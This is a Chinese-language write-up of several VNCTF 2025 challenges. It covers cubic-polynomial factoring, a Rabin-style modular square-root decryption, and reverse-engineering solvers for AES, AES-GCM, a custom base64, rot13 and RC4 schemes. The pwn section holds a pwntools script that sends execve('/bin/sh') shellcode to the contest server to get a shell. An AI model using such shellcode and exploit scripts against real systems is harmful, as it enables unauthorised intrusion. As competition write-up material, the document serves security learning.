比赛WP VNCTF WP Britney 2025-02-26 2025-02-26 easymath
Ai大法(doge)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from sympy import symbols, solvex = symbols('x' ) coeff_2 = 15264966144147258587171776703005926730518438603688487721465 coeff_1 = 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923 N = 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619 polynomial = x**3 - coeff_2*x**2 + coeff_1*x - N roots = solve(polynomial, x) print ("N的素因子 n0, n1, n2:" , roots)print (roots[0 ]*roots[1 ]*roots[2 ]==125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619 )from Crypto.Util.number import long_to_bytesfrom sympy.ntheory.modular import solve_congruenceimport itertoolsc = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944 n0 = 3868765709106144154703556118635822400623994075212553582411 n1 = 5487564316951417093934647798659941512646442958127439071827 n2 = 5908636118089697338533572785710162817248001570348495067227 def sqrt_mod (c, p ): r = pow (c, (p + 1 ) // 4 , p) return (r, p - r) roots_n0 = sqrt_mod(c, n0) roots_n1 = sqrt_mod(c, n1) roots_n2 = sqrt_mod(c, n2) for r0, r1, r2 in itertools.product(roots_n0, roots_n1, roots_n2): flag, _ = solve_congruence((r0, n0), (r1, n1), (r2, n2)) flag_bytes = long_to_bytes(flag) if b'{' in flag_bytes.lower(): print ("找到正确 flag:" , flag_bytes.decode()) break
VN_Lang
签个到吧
buf可执行,直接发送shellcode即可
执行前除了rdi全被置为0,恰好便于构造shellcode
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * r = remote("node.vnteam.cn" ,44184 ) shellcode = "\x48\x83\xc7\x0e\xb0\x3b\x0f\x05\x2f\x62\x69\x6e\x2f\x73\x68\x00" print (len (shellcode))payload = shellcode r.sendlineafter(b"strength " ,payload) r.interactive()
Hook Fish
明显的动态加载dex
dex很贴心,解密算法也给了
直接执行下decode,得到第一次加密后的密文
第一层加密比较简单,一个交换,两个单字节加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 def decrypt (encrypted_str) : recovered_chars = [] for i, ch in enumerate (encrypted_str) : E = ord(ch) if E < 103 : orig = E - (i % 4 ) + ord('1' ) else : orig = E - ord('7' ) - (i % 10 ) recovered_chars.append(chr(orig)) def code (a, index) : if index >= len(a) - 1 : return a[index], a[index+1 ] = a[index+1 ], a[index] code(a, index + 2 ) char_list = list("" .join(recovered_chars)) code(char_list, 0 ) hex_str = "" .join(char_list) enc = bytes.fromhex(hex_str) origin = bytes((b - 68 ) % 256 for b in enc) originstr = origin.decode('utf-8' ) return originstr encrypted = "0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5" decrypted = decrypt(encrypted) print(decrypted)
解密得到flag
Fuko's starfish
exe加载了dll,分析了下加密在dll中
发现aes特征,进而发现aes的加密函数
依托,不过还是可以看出aes扩展密钥的第一步,发现key来自
有几个已经初始化,有的没有,看看引用
在这里发现初始化把所有的key都换掉了
简单写个脚本
返回加密函数,发现反调试
如果被调试则不进行异或,上面的key经过异或得到真正的key
找到密文进行解密
得到flag
kotlindroid
分析代码,发现主加密逻辑,使用aes-gcm-nopadding加密
用了库函数?直接梭
根据题目提示,发现密文的前6字节是iv,接着的16字节是tag
找个脚本解密得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from Crypto.Cipher import AESimport base64def decrypt (ciphertext_base64, key, aad ): ciphertext = base64.b64decode(ciphertext_base64) iv = ciphertext[:6 ] tag = ciphertext[-16 :] encrypted_data = ciphertext[6 :-16 ] cipher = AES.new(key, AES.MODE_GCM, nonce=iv) cipher.update(aad) try : decrypted_data = cipher.decrypt_and_verify(encrypted_data, tag) return decrypted_data.decode('utf-8' ) except ValueError: print ("认证标签验证失败,数据可能被篡改。" ) return None if __name__ == "__main__" : key = b'atrikeyssyekirta' ciphertext_base64 = 'MTE0NTE0HMuJKLOW1BqCAi2MxpHYjGjpPq82XXQ/jgx5WYrZ2MV53a9xjQVbRaVdRiXFrSn6EcQPzA==' aad = b'mysecretadd' decrypted_text = decrypt(ciphertext_base64, key, aad) if decrypted_text: print ("解密结果:" , decrypted_text)
AndroidLux java层没有东西,只有初始化busybox和启动env
assets目录下的env解压得到env文件
似乎是一个简单的base64编码
base64是变种
位移变了,码表也变了,解密算法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 def decode_custom_base64 (encoded ): base64_chars = "TUVWXYZabcdefghijABCDEF456789GHIJKLMNOPQRSklmnopqrstuvwxyz0123+/" base64_table = {char: idx for idx, char in enumerate (base64_chars)} pad_count = encoded.count('=' ) encoded_clean = encoded.rstrip('=' ) n = len (encoded_clean) if pad_count == 0 : original_len = (n * 3 ) // 4 elif pad_count == 1 : original_len = (n * 3 + 2 ) // 4 elif pad_count == 2 : original_len = (n * 3 + 1 ) // 4 else : original_len = (n * 3 ) // 4 indices = [] for c in encoded_clean: if c in base64_table: indices.append(base64_table[c]) else : indices.append(0 ) decoded = bytearray () for i in range (0 , len (indices), 4 ): chunk = indices[i:i+4 ] while len (chunk) < 4 : chunk.append(0 ) c1, c2, c3, c4 = chunk a = (c1 << 2 ) | (c2 & 0x03 ) decoded.append(a) b_high = (c2 & 0x3C ) >> 2 b_low = c3 & 0x0F b = (b_high << 4 ) | b_low decoded.append(b) c_high = (c3 >> 4 ) & 0x03 c = (c_high << 6 ) | c4 decoded.append(c) return bytes (decoded[:original_len]) encoded_str = "56BM" decoded_data = decode_custom_base64(encoded_str) print (decoded_data)
解密密文发现解不出来,在这里卡了好久,最后也没找到对密文和输入修改的地方
所以我把env patch掉
将返回值修改为输入或者输出
然后把env替换掉,输入数据
得到上述数据,很有规律
输入循环加减1,应该是跟1异或
根据输出,可以发现正确的密文开始应该是ECIVEA40,而程序中的是RPVIRN40
数字没发生变化,注意到I和V是相对的,然后发现对应的字母相差0xd
整理下,发现对应关系是这样的
哦,rot13?
尝试解密密文
哦呼,对上了
然后异或1
得到flag
实际修改位置在ld.so.preload
加载的/usr/libexec/libexec.so
对两个系统函数进行hook,修改了内容
抽奖转盘
赛后出的,还是太菜了
鸿蒙逆向没法调试,可以用deveco开虚拟机看看界面
主界面输入框加按钮
找到回调函数,跟进
直接调用native层
rc4多进行一步异或
再进行 标准base64
这里从index中获取加密后的数据
再进行一步操作,然后比较
最后解密即可